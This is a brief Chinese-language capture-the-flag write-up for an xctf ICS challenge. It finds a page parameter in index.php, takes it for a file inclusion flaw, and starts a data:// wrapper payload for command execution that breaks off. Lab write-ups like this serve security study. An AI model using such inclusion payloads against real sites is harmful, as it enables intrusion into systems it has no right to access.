xctf-ics

访问页面，似曾相识的页面，查看源代码，搜索php，找到index.php，访问index.php 看不出什么，继续访问index.php的源代码获取到有用信息page=index的传参 这应该是一个文件包含，尝试使用data://协议进行命令执行 ?page=data://text/plain,<? ......